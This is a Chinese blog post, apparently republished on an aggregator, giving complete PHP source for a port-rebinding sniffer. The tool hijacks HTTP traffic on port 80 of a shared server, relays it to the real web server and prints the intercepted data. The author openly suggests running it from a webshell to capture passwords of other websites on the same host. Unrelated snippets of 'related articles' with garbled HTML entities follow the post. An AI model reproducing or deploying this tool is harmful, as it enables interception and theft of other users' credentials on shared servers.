php劫持代码,利用php来嗅探劫持服务器数据

前几天刺在我们的maillist发了一个老外写的文章,大意是可以用php来实现数据的劫持和转发。我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。老外的原文是一个PDF,有兴趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个 guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。

代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有多线程也没有多进程,但是每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。还好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。

PHP代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码:

class select

{

var $sockets;

// 构造函数

function select($sockets)

{

$this->sockets = array();

foreach($sockets as $socket)

{

$this->add($socket);

}

}

function add($add_socket)

{

//array_push($this->sockets, $add_socket);

$this->sockets[] = $add_socket;

}

// 利用临时数组来删除数组中的元素

function remove($remove_socket)

{

$tmp_sockets = array();

foreach($this->sockets as $socket)

{

if($remove_socket != $socket)

{

$tmp_sockets[] = $socket;

}

}

$this->sockets = $tmp_sockets;

}

// 检查socket数组是否可读,传入超时时间,返回socket数组

function can_read($timeout)

{

$read = $this->sockets;

socket_select( $read, $write = NULL, $except = NULL, $timeout );

return $read;

}

// 检查socket数组是否可写,传入超时时间,返回socket数组

function can_write($timeout)

{

$write = $this->sockets;

socket_select( $read = NULL, $write, $except = NULL, $timeout );

return $write;

}

}

// 网页不超时

set_time_limit(0);

// 即时输出数据,不缓冲

ob_end_clean();

ob_implicit_flush(true);

if( !isset($_GET["listen_ip"]) )

{

exit;

}

if( $_GET["listen_ip"] == "" )

{

exit;

}

$listen_ip = $_GET["listen_ip"];

$listen_port = 80;

// 建立socket

$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// 设置重复绑定

socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);

// 明确指定绑定IP地址,优先获取数据

socket_bind($listen_sock, $listen_ip, $listen_port);

// 开始监听

socket_listen ($listen_sock);

echo "listen on ".htmlentities($listen_ip)." :".$listen_port."
";

// 创建socket数组,使用select来轮询

$check_socks = array($listen_sock);

// 映射客户端socket和服务端socket

// $socket_maps1将客户端socket作为key

// $socket_maps2将服务端socket作为key

// 以内存换速度,并且方便下面的搜索

$socket_maps1 = array( );

$socket_maps2 = array( );

// 实例化select类

$select = new select( $check_socks );

while(true)

{

/*

print_r( $socket_maps );

print "
";

*/

// select轮询,超时2秒

foreach ($select->can_read(1) as $socket)

{

// listen_sock可读,说明有人连接上来了

if( $socket == $listen_sock )

{

// 接受新连接,并加入到轮训数组

$new_client = socket_accept($listen_sock);

$select->add($new_client);

socket_getpeername($new_client, $ip, $port);

echo "New client connected: $ip, $port
";

// 建立到真实服务器的socket

$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

socket_connect($server_sock,"127.0.0.1", $listen_port);

// 建立真实服务器socket和真实客户端socket之间的映射关系

$socket_maps1[$new_client] = $server_sock;

$socket_maps2[$server_sock] = $new_client;

// 添加到select轮询中

$select->add($server_sock);

// $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发

//select->remove( $listen_sock );

}

// 其他socket可读,表示有数据需要中转

else

{

// 读取数据,失败则从轮询socket中删除,并关闭socket

$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);

if ($client_data === false)

{

socket_close( $socket );

$select->remove( $socket );

echo "client disconnected.
";

continue;

}

// 如果socket在$socket_maps1的key中,说明是从客户端读到了数据

if( in_array( $socket, array_keys($socket_maps1)) )

{

//echo "readed from client.
";

if( ! socket_write( $socket_maps1[$socket], $client_data ) )

{

socket_close( $socket );

socket_close( $socket_maps1[$socket] );

$select->remove( $socket );

$select->remove( $socket_maps1[$socket] );

print "Write to server error.
";

}

print htmlentities($client_data)."
";

}

// 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据

elseif( in_array( $socket, array_keys($socket_maps2) ) )

{

//echo "readed from server.
";

if( ! socket_write( $socket_maps2[$socket], $client_data ) )

{

socket_close( $socket );

socket_close( $socket_maps2[$socket] );

$select->remove( $socket );

$select->remove( $socket_maps2[$socket] );

print "Write to client error.
";

}

print htmlentities($client_data)."
";

}

}

}

}

?>

这个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码……我是在windows xp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/336461.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode 371 两个整数之和

原题链接 解题思路&#xff1a;位运算 class Solution { public:int getSum(int a, int b) {while(b){auto c((unsigned int) a & b)<<1;aa^b;bc;}return a;} };

spark rest_Spark简介,您的下一个REST Java框架

spark rest我希望您今年Java来了&#xff01; 今天&#xff0c;我们将研究一个清新&#xff0c;简单&#xff0c;美观且实用的框架&#xff0c;以Java编写REST应用程序。 它将非常简单&#xff0c;甚至根本不会看起来像Java。 我们将研究Spark Web框架。 不&#xff0c;它与Ap…

php求完数,php算法:求完全数 | 学步园

完全数&#xff1a;如果一个数的所有因数(不包括本身)的和刚好等于这个数自身&#xff0c;那么这个数就叫完全数求完全数function get_mul($num){for($i1;$i<$num;$i){for($j1;$j{//内层for循环求一个数的除自身外的所有因数if($i%$j0){$arr[]$j;}}if(isset($arr)){if(array…

oracle 授权 增删改查权限_Oracle增删改查与函数

SQL -- 结构化查询语言 关系型数据库分类&#xff1a; DDL DML DCL DQL TCL Oracle 的数据类型&#xff1a;字符 char() varchar2()数字 number(p,s)时间 date timestamp 文件 clob blob 二维表 table 创建表 CREATE create table 表名 ( 列名 数据类型 [约束], 列名 类型 ... …

LeetCode 1021 删除最外层的括号

原题链接 class Solution { public:string removeOuterParentheses(string S) {string str;int flag 0;for(char c: S){if(c( && flag>0){strc;}if(c ) && flag-->1){strc;}}return str;} };

javafx树视图加选框_JavaFX缺少的功能调查:表视图

javafx树视图加选框JavaFX的TableView&#xff08;和TreeTableView&#xff09;赢得了我最近的“ JavaFX缺失功能”调查以及许多后续讨论中&#xff08;尤其是我们苏黎世JavaFX Meetup小组的成员 &#xff09;中提到最多的控件的价格。 &#xff09;。 我想原因之一是一个简单的…

_用WSL,MobaXterm,Cmder配置linux开发环境

离不开Windows的理由很多,作为后端开发需要使用linux的情况也很多,双系统总归是不方便,而且linux下的GUI体验也没用Win 10好. 如果使用虚拟机,那么文件交换和网络等各种问题也需要解决,对系统的内存要求也更高一些.微软为了让更多的开发人员留在Win10上面,开发了WSL功能.目前的…

wamp测试php,php开发环境搭建/测试/LAMP/WAMP

常用的php开发环境由四部分构成:php预处理器&#xff0c;Apache服务器&#xff0c;mysql数据库&#xff0c;phpmyadmin(管理mysql的图形化页面界面)php语言是一种跨平台语言&#xff0c;常用php环境基于windows和Linux两种操作系统搭建&#xff0c;在Linux系统由Apache、mysql、…

LeetCode 933.最近的请求次数

原题链接 解题思路&#xff1a;主要保留PING中比3000大的 class RecentCounter { public:RecentCounter() {}int ping(int t) {time.push(t);while(time.front()<t-3000){ //查询T是否比3000大time.pop(); //T比3000小就出队}return time.size();}queue<int> time;…

对象容器设计模式_容器对象模式。 一种新的测试模式。

对象容器设计模式如果您搜索什么是页面对象的描述&#xff0c;您会发现页面对象模式为我们提供了一种以可重用和可维护的方式对内容建模的常识方法。 还要指出&#xff1a;在Web应用程序的UI中&#xff0c;您的测试与某些区域交互。 Page Object只是将它们建模为测试代码中的对…

php中上传图片怎么显示出来,PHP上传图片类显示缩略图功能

有缩略图功能 但是 感觉不全面&#xff0c;而且有点问题&#xff0c;继续学习&#xff0c;将来以后修改下/*** Created by PhpStorm.* User: Administrator* Date: 2016/6/28* Time: 21:04*/class upload{protected $fileMine;//文件上传类型protected $filepath;//文件上传路径…

LeetCode 1047. 删除字符串中的所有相邻重复项

原题链接 解题思路&#xff1a; 我们可以用栈来维护没有重复项的字母序列&#xff1a; 若当前的字母和栈顶的字母相同&#xff0c;则弹出栈顶的字母&#xff1b; 若当前的字母和栈顶的字母不同&#xff0c;则放入当前的字母。 class Solution { public:string removeDuplica…

javaparser_JavaParser入门:以编程方式分析Java代码

javaparser我最喜欢的事情之一是解析代码并对其执行自动操作。 因此&#xff0c;我开始为JavaParser做出贡献&#xff0c;并创建了两个相关项目&#xff1a; java-symbol-solver和Effectivejava 。 作为JavaParser的贡献者&#xff0c;我反复阅读了一些有关从Java源代码提取信…

prepare的用法 php,PHP中的操作mysqli的预处理prepare

这篇文章主要介绍了关于PHP中的操作mysqli的预处理prepare &#xff0c;有着一定的参考价值&#xff0c;现在分享给大家&#xff0c;有需要的朋友可以参考一下PHP中的操作mysqli的预处理prepare1、【PHP错误】Cannot pass parameter 2 by reference这个错误的意思是不能按引用传…

wps xml转换表格_这功能WPS卖近百元?教你免费将PDF转成Word

[PConline 应用]PDF文件如何转换成为Word&#xff1f;很多朋友研究这个问题已经很久了&#xff0c;PDF更利于统一格式传播&#xff0c;Word更便于编辑&#xff0c;因此收到PDF文件后、想要修改时要如何将PDF转换成Word可谓是一个刚需。当然&#xff0c;不少办公软件提供了这样的…

junit 预期错误_谨慎使用JUnit的预期异常

junit 预期错误有时&#xff0c;当我们收到对jOOQ或其他库的拉取请求时&#xff0c;人们会将单元测试中的代码更改为更“惯用的JUnit”。 特别是&#xff0c;这意味着他们倾向于更改此代码&#xff08;公认的不是那么漂亮的代码&#xff09;&#xff1a; Test public void tes…

LeetCode 231. 2的幂

原题链接 class Solution { public:bool isPowerOfTwo(int n) {if(n<0)return false;if((n&n-1) 0) return true;return false;} };

睡眠 应该用 a加权 c加权_在神经网络中提取知识:学习用较小的模型学得更好...

在传统的机器学习中&#xff0c;为了获得最先进的(SOTA)性能&#xff0c;我们经常训练一系列整合模型来克服单个模型的弱点。 但是&#xff0c;要获得SOTA性能&#xff0c;通常需要使用具有数百万个参数的大型模型进行大量计算。 SOTA模型(例如VGG16 / 19&#xff0c;ResNet50)…

matlab读txt文件不完整,求助Matlab批量读取TXT文件出错

我用dlmread函数批量读取txt文件中的一个数据&#xff0c;但运行结果1.txt文件中只有一个数据0&#xff0c;调试时报错&#xff1a;错误使用 dlmread (line 147)文件结尾不支持空的格式字符串&#xff0c;文件有128列&#xff0c;78行&#xff0c;下面没有列全文件格式是&#…

面向对象代码_面向对象的代码生成方法

面向对象代码代码生成是减少无聊任务的不健康负担的一种常用方法&#xff0c;这些任务常常使我们急切地对代码苦恼。 我见过的许多代码生成框架都使用模板替换重复方法&#xff0c;在该模板中&#xff0c;您编写了模板&#xff0c;以了解生成的代码文件的外观&#xff0c;然后替…